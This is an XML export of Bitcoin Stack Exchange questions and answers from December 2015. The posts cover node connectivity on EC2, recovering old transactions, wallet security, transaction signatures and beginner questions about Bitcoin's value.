  <row Id="41794" PostTypeId="1" CreationDate="2015-12-11T21:11:23.237" Score="2" ViewCount="69" Body="&lt;p&gt;From what I understand, code is deduplicated on the Ethereum blockchain by storing pointers in new blocks to blocks containing code that is being reused in the new block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the case:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Is it better to store a new instance of a contract for each set of data (for example, information about a user), or...&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;better to have just &lt;em&gt;one&lt;/em&gt; contract that stores all data in a data structure like an array of objects (for example, storing information about &lt;em&gt;all&lt;/em&gt; users in one contract&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;To clarify with some incorrect pseudo code, should I store my information like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;contract Whatever {&#xA;  Users = [&#xA;   {}, {}, {}, {}&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// User 1&#xA;contract Whatever {}&#xA;&#xA;// User 2&#xA;contract Whatever {}&#xA;&#xA;// User 3&#xA;contract Whatever {}&#xA;&#xA;// etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31145" LastActivityDate="2015-12-11T21:11:23.237" Title="Is it cheaper to store data across multiple instances of the same contract?" Tags="|blockchain|ethereum|smartcontracts|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T18:47:28.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="41795" PostTypeId="2" ParentId="41772" CreationDate="2015-12-11T21:40:39.010" Score="1" Body="&lt;p&gt;I inspected the network calls and found this endpoint: &lt;a href=&quot;https://blockchain.info/frombtc?value=499987100&amp;amp;currency=USD&amp;amp;time=1449868758000&amp;amp;textual=false&amp;amp;nosavecurrency=true&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/frombtc?value=499987100&amp;amp;currency=USD&amp;amp;time=1449868758000&amp;amp;textual=false&amp;amp;nosavecurrency=true&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it returns exactly what I need.&lt;/p&gt;&#xA;" OwnerUserId="31116" LastActivityDate="2015-12-11T21:40:39.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41796" PostTypeId="2" ParentId="41681" CreationDate="2015-12-11T23:04:09.663" Score="1" Body="&lt;p&gt;Set up a wallet on your phone and scan the address it provides you at the ATM, then deposit the cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save you some travel to one of the few ATMs in New York: I believe there are some exchanges operating in New York. Check out Coinbase, ItBit, and Gemini.&lt;/p&gt;&#xA;" OwnerUserId="18506" LastActivityDate="2015-12-11T23:04:09.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41798" PostTypeId="1" CreationDate="2015-12-12T08:18:28.427" Score="2" ViewCount="162" Body="&lt;p&gt;I have a very fast home Internet connection. I decided to share my bandwidth by setting up a Tor relay on an unused machine on my home network. Any connection I make from my home connection to an external internet site now appears to come from the IP address of a known Tor relay (it is not an exit node).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this IP, I cannot connect to Bitcoin peers anymore, neither with the Core client nor with the Schildbach wallet on my phone when logged into the home Wifi. I always get 0 connections to the network and no new blocks. It is not just slower to connect; leaving Core open overnight didn't allow it to find any peers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do other Bitcoin peers regularly block connections from known Tor nodes? How do I debug this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Sorry about the noise, I solved this myself. When setting up the Tor node, I also made some changes to my firewall settings. Bitcoin didn't manage to get out through the firewall anymore. I have enabled connections to port 8333 now, and everything works again.&lt;/p&gt;&#xA;" OwnerUserId="31151" LastEditorUserId="31151" LastEditDate="2015-12-12T08:45:06.353" LastActivityDate="2015-12-12T08:45:06.353" Title="No connection to Bitcoin network from known Tor IP?" Tags="|network|connection|tor|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41800" PostTypeId="1" AcceptedAnswerId="41802" CreationDate="2015-12-12T10:02:18.807" Score="2" ViewCount="587" Body="&lt;p&gt;I'd like to access bitocind mainnet node on AWS EC2 from ruby. I've written as follows using &lt;a href=&quot;https://github.com/jjeffus/rpcjson&quot; rel=&quot;nofollow&quot;&gt;rpcjson&lt;/a&gt;, however it cannot connect, then returned the error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;client = RPC::JSON::Client.new 'http://rpcuser:rpcpassword@publicIP:8332', 1.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Operation timed out - connect(2) for publicIP port 8332&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;publicIP is the Public IP shown on EC2 instance page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, when I wrote as follows in order to connect localhost testnet node, it has no problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;client = RPC::JSON::Client.new 'http://rpcuser:rpcpassword@127.0.0.1:8332', 1.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could you tell me what is the problem? &lt;/p&gt;&#xA;" OwnerUserId="24693" LastActivityDate="2015-12-12T16:47:33.507" Title="How to connect bitcoind mainnet node on AWS EC2 by using rpcjson?" Tags="|bitcoind|client|ruby|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41802" PostTypeId="2" ParentId="41800" CreationDate="2015-12-12T16:47:33.507" Score="2" Body="&lt;p&gt;Most likely, you'll have to open that port on your EC2 instance.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-12-12T16:47:33.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41804" PostTypeId="2" ParentId="37684" CreationDate="2015-12-13T03:50:21.873" Score="8" Body="&lt;p&gt;My new book &quot;&lt;a href=&quot;http://www.lulu.com/shop/paul-huang/a-dissection-of-bitcoin/ebook/product-22482928.html&quot; rel=&quot;noreferrer&quot;&gt;A Dissection of Bitcoin&lt;/a&gt;&quot; examines the original Bitcoin source code written by Satoshi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for now, it is the first and only book available that helps you read the Bitcoin source code.&lt;/p&gt;&#xA;" OwnerUserId="31164" LastEditorUserId="31164" LastEditDate="2015-12-29T04:21:19.927" LastActivityDate="2015-12-29T04:21:19.927" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41805" PostTypeId="2" ParentId="39351" CreationDate="2015-12-13T05:41:11.923" Score="2" Body="&lt;p&gt;The two most likely scenarios are that you either had malware on your computer/phone that stole your private keys and was able to spend them on your behalf, Or you used easily guessable brain wallet seed. Brain wallets use easy to remember list of words or a phrase. The problem is that if it is not done correctly, then anybody can guess random phrases and check to see if they generate a bitcoin address that has any unspent amount. There are many individuals out on the net that are attempting to brute force brain wallets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on how much cost/hassle you are willing to put up with, there are many different ways to secure your Bitcoins. You can have an offline pc that you use to hold your coins in cold storage. Only keep daily spend amounts on your hot wallet (the coins on your phone or computer that you are going to use in daily transactions and can afford to lose). You can buy a dedicated device that handles all the security of your coins. These are called hardware wallets. A popular one is called Trezor. With a hardware wallet you are able to store your Bitcoins in a safe offline device. And when you need to spend them, you hook it up to your computer and use it to verify how much you want to spend and to were. The device keeps you secure even if your machine is infected with malware since it never lets the private keys leave the hardware wallet (you steal those you can spend your coins). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A low cost way to have cold storage is creating a paper wallet. A paper wallet is a print out of your private keys, commonly they also include a qr code version of your keys so you can quickly import it into a phone or computer wallet without having to type out the long keys. Just make sure you keep the paper in a safe place and you treat it like cash &lt;/p&gt;&#xA;" OwnerUserId="31166" LastActivityDate="2015-12-13T05:41:11.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41806" PostTypeId="2" ParentId="37684" CreationDate="2015-12-13T05:49:20.907" Score="1" Body="&lt;p&gt;You might benefit from understanding key concepts in bitcoin before diving into the core source code. The following link teaches the technical basics of how Bitcoin works by walking you through writing a simple python script to create transactions from scratch:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&quot; rel=&quot;nofollow&quot;&gt;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also on the site are other posts on how Bitcoin mining works and how to write a python script to mine Bitcoins (for science and understanding, PROFITABLE cpu/gpu mining days are long gone)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might benefit from some fundamentals of what the Bitcoin blockchain actualy is. James D'Angelo is awesome at explaining concepts to everyone including beginners and more advanced users, without being boring or confusing. Watch the following video and check out his channel for more info. &#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=gUwXCt1qkBU&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=gUwXCt1qkBU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31166" LastEditorUserId="18196" LastEditDate="2015-12-14T12:59:17.817" LastActivityDate="2015-12-14T12:59:17.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41807" PostTypeId="2" ParentId="10827" CreationDate="2015-12-13T06:02:51.347" Score="3" Body="&lt;p&gt;The following code snippets are taken from the blog post:&#xA;&lt;a href=&quot;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&quot; rel=&quot;nofollow&quot;&gt;http://www.righto.com/2014/02/bitcoins-hard-way-using-raw-bitcoin.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a great read and you should take a look at it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import random, keyUtils&#xA;#FOR DEMO ONLY.USE A CRYPTOGRAPHICALLY SECURE RANDOM  GENERATOR IN PRODUCTION&#xA;private_key = ''.join(['%x' % random.randrange(16) for x in range(0, 64)])&#xA;print private_key&#xA;print keyUtils.privateKeyToWif(private_key)&#xA;print keyUtils.keyToAddr(private_key)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The source code for keyUtils is on the followign github:&#xA;&lt;a href=&quot;https://github.com/shirriff/bitcoin-code&quot; rel=&quot;nofollow&quot;&gt;https://github.com/shirriff/bitcoin-code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is the example code from the blog post I shared above. &lt;/p&gt;&#xA;" OwnerUserId="31166" LastActivityDate="2015-12-13T06:02:51.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41808" PostTypeId="1" CreationDate="2015-12-13T07:35:17.913" Score="2" ViewCount="3505" Body="&lt;p&gt;I got into Bitcoin a while ago. 2011-ish. I build a miner and got a number of coins.&lt;br&gt;&#xA;My storage wallet shows that I moved 4 coins to {long code} but I don't remember where I sent them. Is there any way to find them with that code? &#xA;I think I was sending it to a trading site or some kind of online wallet. Maybe my mining client? I honestly just can't remember.&lt;br&gt;&#xA;I would be willing to send a coin your way if I am able to recover the lost coins with your advice.&lt;br&gt;&#xA;Thanks in advance.&lt;br&gt;&#xA;-someone who should have paid more attention to what he was doing&#xA;(at least i didn't pay 10,000 for a pizza...)&lt;/p&gt;&#xA;" OwnerUserId="31167" LastEditorUserId="5406" LastEditDate="2015-12-13T10:52:51.330" LastActivityDate="2020-09-04T01:08:28.940" Title="How to find out where I sent my coins in 2011?" Tags="|wallet|lost-bitcoins|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41809" PostTypeId="2" ParentId="41808" CreationDate="2015-12-13T09:20:26.510" Score="0" Body="&lt;p&gt;You can Google the address in case it's a well known address (for donations or scammers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that try some block explorers to see if they say anything. Look at where the coins went after your transaction. Are they still sitting there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it wasn't mtgox where you sent them.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-12-13T09:20:26.510" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41810" PostTypeId="1" CreationDate="2015-12-13T09:23:20.000" Score="0" ViewCount="1760" Body="&lt;p&gt;I am using windows 7. I have installed the driver successfully by zadig. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In cgminer when I open the .bat file, it just doesn't open and gets closed immediately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open in bfgminer it says no device connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cgminer.exe -o xxx -u abc.worker -p x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31168" LastEditorUserId="18196" LastEditDate="2015-12-14T13:03:35.500" LastActivityDate="2016-11-08T03:27:17.873" Title="Antminer U3 not detecting in cgminer nor bfgminer?" Tags="|cgminer|bfgminer|mining-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41813" PostTypeId="1" CreationDate="2015-12-13T10:59:06.077" Score="1" ViewCount="280" Body="&lt;p&gt;Bitcoind (bitcoin-0.11.2, linux32) has too slow performance when the wallet size gets bigger, i will post here some average timing behaviors.&#xA;The wallet size is 410MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A getbalance call requires 1.45 s in average&#xA;A sendfrom call requires 5.46 s in average&#xA;A gettransaction call requires 0.595 s in average&#xA;A getaccountaddress call requires 0.634 s in average&#xA;A move call requires 0.33 s in average&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To speed up these calls i have already put the wallet into ram-fs. But its too slow again. Is there a chance that those calls will speed up with upcoming bitcoind versions?&lt;/p&gt;&#xA;" OwnerUserId="27130" LastActivityDate="2015-12-13T10:59:06.077" Title="Bitcoind has too slow API call performance on large wallets" Tags="|bitcoind|api|json-rpc|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41814" PostTypeId="2" ParentId="41808" CreationDate="2015-12-13T11:00:32.617" Score="1" Body="&lt;p&gt;Check your email account around that time to see if you created an account on a Bitcoin exchange, or if you got a deposit confirmation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find it more quickly, you could try to search your emails for the amount you sent, the address that you sent from, and the address that you sent to, because either might be contained in such a deposit confirmation or payment request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Jannes mentioned, you could also try to search for the receiving address on a block explorer, to see if the address or a succeeding address where the money was forwarded to is a known entity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the most commonly used exchanges from 2011 are now defunct. But it may be worth seeing if you sent it to a Bitstamp account as that was founded in 2011.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-12-13T11:00:32.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41816" PostTypeId="1" CreationDate="2015-12-13T15:15:57.633" Score="-2" ViewCount="80" Body="&lt;p&gt;I have some money in my Bitcoin wallet. I'm wondering about is the monetary value which increases and decreases as the value of 1 Bitcoin fluctuates?&lt;/p&gt;&#xA;" OwnerUserId="31176" LastEditorUserId="120" LastEditDate="2015-12-13T15:44:36.513" LastActivityDate="2015-12-13T21:39:02.153" Title="Wallet account value" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41817" PostTypeId="1" AcceptedAnswerId="41819" CreationDate="2015-12-13T15:52:41.530" Score="0" ViewCount="539" Body="&lt;p&gt;I have a lot of confusion about bitcoin. What is the real worth of a bitcoin. For instance currency used to be backed by gold but now a days its fiat currency all around us. &lt;/p&gt;&#xA;" OwnerUserId="31179" LastActivityDate="2015-12-13T16:56:11.623" Title="What is the real value of bitcoins" Tags="|money|" AnswerCount="1" CommentCount="0" ClosedDate="2015-12-14T00:20:20.207" ContentLicense="CC BY-SA 3.0" />
  <row Id="41818" PostTypeId="2" ParentId="40448" CreationDate="2015-12-13T15:53:39.643" Score="4" Body="&lt;p&gt;I think this is pretty accurate about Ripple. They are more centralized because of all the regulations they are complying with in order to combat anti money laundering and other know your customer type of compliance. Also, if you look at their advisory board it is composed of many in previous government positions and this will contribute to their centralized aspect of work. Big companies that play by Wall Street rules and are in bed with government to some extent are also within some of the investors of this new institutional digital currency. But even with this Ripple will bring much benefit to average consumers as well and not just the big players.&lt;/p&gt;&#xA;" OwnerUserId="31180" LastEditorUserId="2306" LastEditDate="2015-12-13T20:29:50.133" LastActivityDate="2015-12-13T20:29:50.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41819" PostTypeId="2" ParentId="41817" CreationDate="2015-12-13T16:56:11.623" Score="0" Body="&lt;p&gt;Bitcoin doesn't have a &quot;real worth&quot;.  It is not backed by any sort of resource.  Bitcoin is considered valuable for the same reason gold is valuable; it is difficult to acquire, there is a limited quantity of it, and people are willing to pay a relatively high sum for it.  If everyone decided they no longer wanted to participate in bitcoin and sold all of their coins, bitcoin would no longer be worth anything (assuming no one else wanted to buy into it).&lt;/p&gt;&#xA;" OwnerUserId="27008" LastActivityDate="2015-12-13T16:56:11.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41820" PostTypeId="2" ParentId="31930" CreationDate="2015-12-13T17:52:52.053" Score="0" Body="&lt;p&gt;There are multiple ways you can buy bitcoins without a bank account. Unfortunately, you will most likely not be able to buy from an exchange. And I don't think you can buy with a credit card anywhere(though I am not sure about this statement).  Your option is to buy directly from someone you know who has BTC or you can trade with someone in exchange for prepaid cards or something similar. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My favorite way is to do a cash deposit in exchange for bitcoins. Cash deposit is one of the most secure form of payment for a seller and it is relatively easy for you. It requires no identification or bank account.&lt;/p&gt;&#xA;" OwnerUserId="31183" LastEditorUserId="18196" LastEditDate="2015-12-14T12:43:14.663" LastActivityDate="2015-12-14T12:43:14.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41822" PostTypeId="2" ParentId="41692" CreationDate="2015-12-13T20:28:04.833" Score="6" Body="&lt;p&gt;The Bitcoin-qt source code grew out of the original code written by Satochi. The latter, in my opinion, is much cleaner and easier to read. I have a new book that analyzes the Statochi's original source code at lulu.com: &lt;a href=&quot;http://www.lulu.com/shop/paul-huang/a-dissection-of-bitcoin/ebook/product-22482928.html&quot; rel=&quot;noreferrer&quot;&gt;A Dissection of Bitcoin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31164" LastActivityDate="2015-12-13T20:28:04.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41823" PostTypeId="1" AcceptedAnswerId="41841" CreationDate="2015-12-13T20:51:43.657" Score="1" ViewCount="1659" Body="&lt;p&gt;When miners connect to the server, they get a &quot;job&quot; message back with a merkle_branch field that has hashes that correspond to transactions that will be included in the block being worked on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm wondering is, does the pool server bother changing that transaction set very often, or do they just wait for a block to be solved, and only then broadcast a new job with a different list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, in between block solvings, is everyone in the pool generally working on the same set of transactions? &lt;/p&gt;&#xA;" OwnerUserId="16926" LastEditorUserId="18196" LastEditDate="2016-03-06T19:04:34.240" LastActivityDate="2016-03-06T19:04:34.240" Title="In stratum mining pools, are most miners working on the same set of transactions?" Tags="|mining-pools|stratum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41824" PostTypeId="2" ParentId="41816" CreationDate="2015-12-13T21:39:02.153" Score="1" Body="&lt;p&gt;Typically wallets will give you your balance in bitcoins as well as a conversion of that balance into other currencies (like USD). Since the exchange rate of BTC to USD is changing all the time, your balance expressed in USD (or whatever currency it shows) will change all the time as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.coinbase.com/charts?locale=en&quot; rel=&quot;nofollow&quot;&gt;Here's a link&lt;/a&gt; to a chart and current conversion rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your balance in bitcoin however will remain exactly the same until you make another outgoing transaction or receive one.&lt;/p&gt;&#xA;" OwnerUserId="16926" LastActivityDate="2015-12-13T21:39:02.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41825" PostTypeId="1" CreationDate="2015-12-13T22:40:54.623" Score="1" ViewCount="183" Body="&lt;p&gt;Scenario: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1: User-1 initiates the TXN-1 to pay to User-2 and the TXN is not yet confirmed with the ongoing block POW. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 2: What prevents fraudster (anyone a miner or someone listening/participating in the network), to double spend or divert the payment to User-3 with a new TXN-2 by copying the data from pending TXN-1 including the User-1's signature? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 3: if the miners reject both TXN-1 and TXN-2 as a suspicious or double spend activity in the current block POW, what prevents the same fraudster to issue a new TXN-3 by copying the TXN-2 with the next block POW? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="31187" LastEditorUserId="5406" LastEditDate="2015-12-14T00:04:31.403" LastActivityDate="2015-12-14T00:06:25.527" Title="Why can't a transaction be redirected after it is signed?" Tags="|transactions|signature|doublespend|" AnswerCount="1" CommentCount="0" ClosedDate="2015-12-14T00:11:44.917" ContentLicense="CC BY-SA 3.0" />
  <row Id="41826" PostTypeId="2" ParentId="41825" CreationDate="2015-12-13T23:08:40.740" Score="2" Body="&lt;p&gt;The signature corresponds to the transaction it signs. You can't use the same sig to send the money to another address, because that would require a different transaction for which the signature would not resolve to valid.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-12-14T00:06:25.527" LastActivityDate="2015-12-14T00:06:25.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41828" PostTypeId="1" AcceptedAnswerId="41830" CreationDate="2015-12-14T01:49:36.540" Score="6" ViewCount="1392" Body="&lt;p&gt;I'd like to access the EC2 instance that installed bitcoin mainnet node.&#xA;I've found out that I need to open the port 8332 of instance from the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/41800/how-to-connect-bitcoind-mainnet-node-on-aws-ec2-by-using-rpcjson&quot;&gt;question&lt;/a&gt;, but I have not idea how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to add port 8332 on the security group, however I cannot select 8332 port, only can select 80.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XSYcs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XSYcs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you tell me how to open the port and access bitcoin node?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set port as the attached picture.&#xA;However, it returned the following error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Connection refused - connect(2) for 'publicIP address' port 8332&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It means that I still cannot connect the instance? or I've already connect the instance, but returned error by another reason?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/molyB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/molyB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24693" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-12-14T05:02:42.607" Title="How to open the port 8332 on EC2 instance?" Tags="|bitcoind|port|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41829" PostTypeId="1" AcceptedAnswerId="41842" CreationDate="2015-12-14T03:11:00.743" Score="17" ViewCount="37029" Body="&lt;p&gt;I might be confused as to how Bitcoin works, but as far as I can tell, ASIC miners are getting better every year and faster at cracking SHA-256 encryption.  Won't this cause the eventual complete obsolescence of SHA-256 encryption entirely, much faster than previously estimated?&lt;/p&gt;&#xA;" OwnerUserId="31192" LastActivityDate="2019-08-15T20:56:49.763" Title="Won't ASIC miners eventually break SHA-256 encryption?" Tags="|encryption|sha256|" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41830" PostTypeId="2" ParentId="41828" CreationDate="2015-12-14T03:16:12.623" Score="2" Body="&lt;p&gt;In the Type dropdown menu, change HTTP to All TCP; enter 8332 as the port number; enter the IP of the computer that will be sending RPC requests under 'Source.'&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-12-14T03:16:12.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41831" PostTypeId="2" ParentId="40758" CreationDate="2015-12-14T05:33:33.643" Score="2" Body="&lt;p&gt;Click on 'Request' as if you were going to request a payment. The wallet address will be on the next window. Copy/paste it and then keep the amount requested at 0. If you want, you can delete the request after you've copied your wallet address under the 'Payments' tab.&lt;/p&gt;&#xA;" OwnerUserId="31195" LastActivityDate="2015-12-14T05:33:33.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41832" PostTypeId="1" CreationDate="2015-12-14T11:18:04.853" Score="0" ViewCount="1112" Body="&lt;p&gt;Hoping someone can help me! I'm pretty new to all this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sent a payment about 12 hours ago, but it's still marked as 0 confirmed. I was fairly sure the address I sent it to was correct, but it won't send and I'm a bit lost as to what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone able to shed some light on it? There's a transaction fee included so didn't think I'd be put on the bottom of the pile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction ID is: 12c3cfa1ecdfbed226c8d2f48767ff7e6845d31850eaae6ea8ad31977521ca1e-000&lt;/p&gt;&#xA;" OwnerUserId="31198" LastActivityDate="2015-12-14T15:47:29.570" Title="Transaction won't confirm" Tags="|unconfirmed-transactions|" AnswerCount="1" CommentCount="1" ClosedDate="2015-12-21T15:20:13.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="41837" PostTypeId="2" ParentId="41832" CreationDate="2015-12-14T12:36:51.973" Score="0" Body="&lt;p&gt;Just wait, it will eventually confirm. When I process large transactions they usually take hours to confirm. Smaller transactions usually go through quicker. There is a lot of randomness involved in the confirmation process and it might also have to do with the wallet you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So don't worry, your transaction will eventually be confirmed.&lt;/p&gt;&#xA;" OwnerUserId="30039" LastActivityDate="2015-12-14T12:36:51.973" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="41838" PostTypeId="2" ParentId="41460" CreationDate="2015-12-14T13:06:22.913" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://www.btcc.com/&quot; rel=&quot;nofollow&quot;&gt;As far as I know in china you can buy online via btcc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or use any other internet payment system e.g. buy first Webmoney and then change it to bitcoin e.g. on &lt;a href=&quot;https://wmeng.exchanger.ru/&quot; rel=&quot;nofollow&quot;&gt;webmoney exchanger&lt;/a&gt; where currently bitcoins for couple of million Euro are available&lt;/p&gt;&#xA;" OwnerUserId="31201" LastEditorUserId="31201" LastEditDate="2015-12-14T13:13:44.413" LastActivityDate="2015-12-14T13:13:44.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41839" PostTypeId="2" ParentId="41597" CreationDate="2015-12-14T13:12:18.867" Score="0" Body="&lt;p&gt;@david schwartz,&#xA;the following is an extract from stephan Tual article:&#xA;&lt;a href=&quot;https://blog.slock.it/we-re-building-the-ethereum-computer-9133953c9f02#.pcpmb89or&quot; rel=&quot;nofollow&quot;&gt;https://blog.slock.it/we-re-building-the-ethereum-computer-9133953c9f02#.pcpmb89or&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is perfectly suming up my fears about decentralized applications...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;If you’d rather use your own machine, you probably noticed current Dapps often require you to trust them with relaying your instructions correctly to the Ethereum network via their web interfaces. This is rather ironic (and dangerous!) considering Ethereum was designed with removing the need for trusted third parties in mind.&quot;&#xA;&quot;&lt;/p&gt;&#xA;" OwnerUserId="30815" LastActivityDate="2015-12-14T13:12:18.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
